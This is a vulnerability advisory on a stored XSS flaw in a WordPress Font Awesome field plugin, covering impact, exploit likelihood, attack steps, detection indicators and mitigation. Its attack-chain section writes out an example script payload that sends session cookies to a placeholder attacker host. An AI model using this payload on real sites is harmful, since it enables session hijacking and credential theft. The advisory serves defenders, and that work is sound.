CVE-2025-14983: 
WordPress vulnerability analysis and mitigation

CVE-2025-14983 is a stored Cross-Site Scripting (XSS) vulnerability in the Advanced Custom Fields: Font Awesome Field plugin for WordPress. It affects all versions up to and including 5.0.1, caused by insufficient input sanitization and output escaping. Authenticated attackers with Contributor-level access or above can inject arbitrary web scripts that execute in a victim's browser. It carries a CVSS v3.1 base score of 6.4 (Medium) and was published on February 19, 2026 (Red Hat CVE, Wordfence).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). The root cause is insufficient sanitization of user-supplied input and inadequate output escaping within the plugin's Font Awesome field rendering logic. An authenticated attacker with at least Contributor-level WordPress privileges can craft a malicious post or field value containing JavaScript, which is then stored and rendered unsanitized to other users (including administrators) who view the affected content — a classic stored XSS pattern (Red Hat CVE, Wordfence).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the browsers of other authenticated users, including site administrators. This can lead to session hijacking, credential theft, unauthorized administrative actions (such as creating rogue admin accounts or installing malicious plugins), and defacement of site content. The scope is marked as "Changed" in the CVSS vector, indicating that the impact extends beyond the attacker's own session to affect other users of the WordPress site (Red Hat CVE, Sucuri).

No public proof-of-concept exploit code or active in-the-wild exploitation has been reported for this vulnerability. The EPSS score is approximately 0.056%, indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires at minimum a Contributor-level WordPress account, which limits the attack surface compared to unauthenticated vulnerabilities (Red Hat CVE, Wordfence).

1. Reconnaissance: Identify a WordPress site running the Advanced Custom Fields: Font Awesome Field plugin version ≤ 5.0.1 (e.g., by checking /wp-content/plugins/acf-font-awesome/ or plugin metadata in page source).
2. Obtain Contributor access: Register or compromise a WordPress account with at least Contributor-level privileges on the target site.
3. Craft malicious payload: Create or edit a post/page that includes a Font Awesome field value containing a JavaScript payload, such as <script>document.location='https://attacker.com/steal?c='+document.cookie</script> or an event-handler-based variant.
4. Submit and store: Save or submit the post/page. The malicious script is stored in the WordPress database without proper sanitization.
5. Trigger execution: When an administrator or other authenticated user views the affected post/page, the injected script executes in their browser, enabling session hijacking, credential theft, or further administrative compromise (Red Hat CVE, Wordfence).

• Logs: WordPress access logs showing POST requests to wp-admin/post.php or REST API endpoints from Contributor-level accounts containing script tags or encoded JavaScript in Font Awesome field parameters.
• Database: Unexpected <script> tags, javascript: URIs, or event handler attributes (e.g., onerror=, onload=) stored in the wp_postmeta table associated with ACF Font Awesome field keys.
• Network: Outbound requests from victim browsers to unknown external domains shortly after viewing posts containing Font Awesome fields — potentially indicating cookie or credential exfiltration.
• File System: No direct file system artifacts expected for stored XSS; however, if the XSS is used to install a backdoor, watch for new or modified PHP files in wp-content/plugins/ or wp-content/uploads/.

WordPress site administrators should update the Advanced Custom Fields: Font Awesome Field plugin to a version beyond 5.0.1 if a patched release is available from the plugin author. If no patch is yet available, the recommended workaround is to deactivate and remove the plugin until a fix is released. Additionally, restricting Contributor-level user registration and enforcing the principle of least privilege can reduce the attack surface. Web Application Firewalls (WAFs) with XSS filtering rules can provide an additional layer of defense (Wordfence, Sucuri).

Wordfence included this vulnerability in their weekly WordPress vulnerability report for February 16–22, 2026, and Sucuri highlighted it in their February 2026 vulnerability patch roundup, both recommending prompt patching (Wordfence, Sucuri). No notable individual researcher commentary or significant social media discussion has been identified beyond standard vulnerability aggregator coverage.